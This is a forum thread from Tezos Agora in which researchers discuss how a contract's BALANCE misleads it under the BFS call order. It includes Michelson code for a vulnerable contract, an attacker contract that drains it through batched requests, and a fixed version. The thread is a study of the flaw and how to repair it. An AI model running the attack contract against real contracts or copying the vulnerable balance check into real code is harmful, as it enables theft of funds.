Problems with Balance

Research and Development
1

My name is Eli Guenzburger I am researching with Prof. Cesar Sanchez at the IMDEA Software Institute.

Due to BFS calling pattern in Tezos (discussed Concurrency, BFS vs DFS (and a proposal)), Balance is awkward and vulnerable. There are two key factors that contribute to unexpected values of Balance.

  1. Outgoing Transfers earlier in the queue
    Let Contract B be initialized with a balance of 200tz and have a request entrypoint. B would like to never allow its balance to go below a Min_balance of 100tz but will transfer any amount that does not bring its balance below this amount. Suppose Contract A generates 20 requests for a transfer of 10tz from Contract B. We might naively expect the execution of A to fail given given that 200tz - (20 * 10tz) = 0tz < 100tz = Min_balance. However, Balance is only updated upon execution of the transfers from B to A, which occur after all 20 requests from A to B are executed. B naively enforcing that Balance - TransferRequestAmount >= Min_Balance does not guarantee that Balance is not brought below Min_balance. In fact, upon termination of the procedure described above, the balance of B will be brought to 0 and the balance of A will increase by 200tz. The point is that Balance does not reflect Outgoing funds earlier invocations of B (as well as the current invocation of B) have already promised to send away in transactions in the operation queue that have not been executed yet. Contracts should be able to reason about these Outgoing funds.

  2. Incoming Transfers later in the queue
    Let Contract A be initialized with a balance of 1tz and contract B be initialized with a balance of 99tz and have a request entrypoint. Suppose in a single execution, A generates 2 operations: Op1 requests 100tz from B and Op2 transfers 1tz to B. B would like to always transfer the amount requested by A when it can theoretically transfer that amount, and execute a failure procedure if this is not possible. In this example, Op1 will result in the failure procedure since B will have balance 99tz so it reasons that it cannot send the 100tz requested. Strangely, the optimal behavior of B on execution of Op1 in this example would be to just generate the transfer of 100tz to A (call this Op3) without checking balance. Due to BFS calling nature, Op2 is executed before Op3, bringing the balance of B to 100tz. Therefore, Op3 will execute successfully and A would finish with a balance of 100tz. A contract should be able to reason about the Incoming funds it will be receiving from subsequent operations in the queue so as to anticipate its balance at the time of the execution of its external operations.

It would be better if contracts referenced a new variable EffectiveBalance instead of the unsafe Balance.
If we can successfully maintain variables Outgoing and Incoming we can calculate EffectiveBalance by referencing Balance, Outgoing, and Incoming.

4 Likes
2

Let Contract B be initialized with a balance of 200tz and have a request entrypoint. B would like to never allow its balance to go below a Min_balance of 100tz but will transfer any amount that does not bring its balance below this amount.

To be sure I understand your point, I have implemented in Michelson what I believe is your buggy contract “B”:

## This contract shows the vulnerability of BALANCE discussed in https://forum.tezosagora.org/t/problems-with-balance/2194

parameter (or (mutez %request) (unit %default));
storage unit;
code {
       CAR;
       IF_LEFT
         {
           # request entrypoint
           # intended semantics:
           ## send the requested amount to sender, if BALANCE remains above 100 tz

           ## Check that BALANCE is above 100tz + requested_amount
           DUP;
           PUSH mutez 100000000;
           ADD;
           BALANCE;
           ASSERT_CMPGE;

           ## Transfer
           SENDER; CONTRACT unit; ASSERT_SOME;
           SWAP;
           UNIT;
           TRANSFER_TOKENS;
           NIL operation;
           SWAP; CONS;
           UNIT; SWAP; PAIR;
         }
         {
           # default entrypoint, do nothing
           NIL operation;
           PAIR
         }
     }

As you have remarked, this fails to maintain the invariant given the BFS nature of Tezos interactions. A possible attack is provided by the following contract A:

parameter (or (or (unit %default) (unit %withdraw)) (contract %attack mutez));
storage key_hash;
code
  {
    UNPAIR;

    IF_LEFT
      {
        IF_LEFT
          {
            # Default entrypoint: do nothing
            DROP; NIL operation
          }
          {
            # Withdraw entrypoint: authenticate the sender and send everything
            DROP;
            DUP; IMPLICIT_ACCOUNT; ADDRESS; SENDER; ASSERT_CMPEQ;

            DUP;
            IMPLICIT_ACCOUNT;
            BALANCE;
            UNIT;
            TRANSFER_TOKENS;
            NIL operation; SWAP; CONS;
          }
      }
      {
        # Call the parameter contract twice with parameter 100tz so that
        # both calls are accepted before the balance is updated

        ## Second transfer: call the bugged contract with parameter 100tz
        DUP;
        PUSH mutez 0;
        PUSH mutez 100000000;
        TRANSFER_TOKENS;
        NIL operation; SWAP; CONS;

        ## First transfer: call the bugged contract with parameter 100tz
        SWAP;
        PUSH mutez 0;
        PUSH mutez 100000000;
        TRANSFER_TOKENS; CONS;

      };
    PAIR
  }

In my opinion, the reason why contract B fails is that it does not perform the check at the appropriate time. A point that seems often overlooked when implementing smart-contract interactions in Tezos is that BFS provides atomicity guarantees. If contract B sends more than a single transaction in its operation list, it has the guarantee that nothing happens in between and I claim that this provides a way to correctly implement the contract logic that we want for contract B by performing the balance check after the transfer to the potential attacker. Here is the fixed script:

## This contract implements the example of the discussion
## https://forum.tezosagora.org/t/problems-with-balance/2194
## I claim it does not suffer from the vulnerability discussed
## there.

parameter (or (or (mutez %request) (unit %check_balance)) (unit %default));
storage unit;
code {
       CAR;
       IF_LEFT
         {
           IF_LEFT
             {
               # request entrypoint
               # intended semantics:
               ## send the requested amount to sender, if BALANCE remains above 100tz

               ## Check that BALANCE will remain above 100tz after the requested transfer
               NIL operation;
               SELF %check_balance;
               PUSH mutez 0;
               UNIT;
               TRANSFER_TOKENS;
               CONS;

               ## Transfer
               SWAP;
               SENDER; CONTRACT unit; ASSERT_SOME;
               SWAP; UNIT;
               TRANSFER_TOKENS;
               CONS;
               UNIT; SWAP; PAIR;
             }
             {
               # Optional: check that is call is recursive
               SENDER; SELF; ADDRESS; ASSERT_CMPEQ;

               # check_balance entrypoint: check that BALANCE is above 100tz
               PUSH mutez 100000000;
               BALANCE;
               ASSERT_CMPGE;
               NIL operation; PAIR
             }
         }
         {
           # default entrypoint, do nothing
           NIL operation;
           PAIR
         }
     }

I have tested these three scripts in sandbox mode; I have checked that the attacker can drill the 200tz from the buggy script but the same attack fails with the fixed one.

I think we lack tooling to help smart-contract devs reason about contract interactions; it is too easy to write buggy contracts, especially for devs coming from other smart-contract communities and used to DFS interactions. And currently the bugs are not easy to catch. AFAIK, there is currently no formalized semantics of Tezos smart-contract interaction but most of what we need to reason about this in Mi-Cho-Coq is available in the Compcert project.

Let Contract A be initialized with a balance of 1tz and contract B be initialized with a balance of 99tz and have a request entrypoint. Suppose in a single execution, A generates 2 operations: Op1 requests 100tz from B and Op2 transfers 1tz to B. B would like to always transfer the amount requested by A when it can theoretically transfer that amount, and execute a failure procedure if this is not possible.

I think the only way to do this is by having Contract A see both operations at some point in its execution so it needs a notion of request batches. In that case, Contract A can perform the balance check only once after having handled a full batch.

2 Likes
3

Thank you for your thoughtful response! Your suggestion for the example illustrating the first BALANCE problem is to place a self call in the operation queue after every transfer, that asserts that BALANCE >= Min_Balance. At this point, BALANCE has been updated since the transfer has been executed, so eventually the assert will correctly fail. This seems like a nice solution for the example I described but I think we can make a slight modification to the example so that it is impossible to use BALANCE correctly.

In the current version of the scenario, the desired logic is as follows:

 If BALANCE - Amt_requested <= Min_balance:
	Fail;
Else: 
	Send(Amt_requested)

What if instead, we desire something slightly more complicated than simply failing if BALANCE is too low. For example:

If BALANCE - amt_requested <= Min_balance:
    Request a bank for amt_requested (so that contract can execute transfer on a second request without BALANCE being too low)
Else:
    Send(amt_requested)

In this situation, we cannot simply add an assertion to the operation queue as you do in the previous example. In our view, we should be able to reason, in code, about the state of the contract’s BALANCE at the time of an operation’s execution. To solve this problem, we propose a solution in Proposal for Changes to Balance in which we maintain a variable reflecting promised Outgoing funds in the queue so that we can correctly calculate a new variable, EffectiveBalance.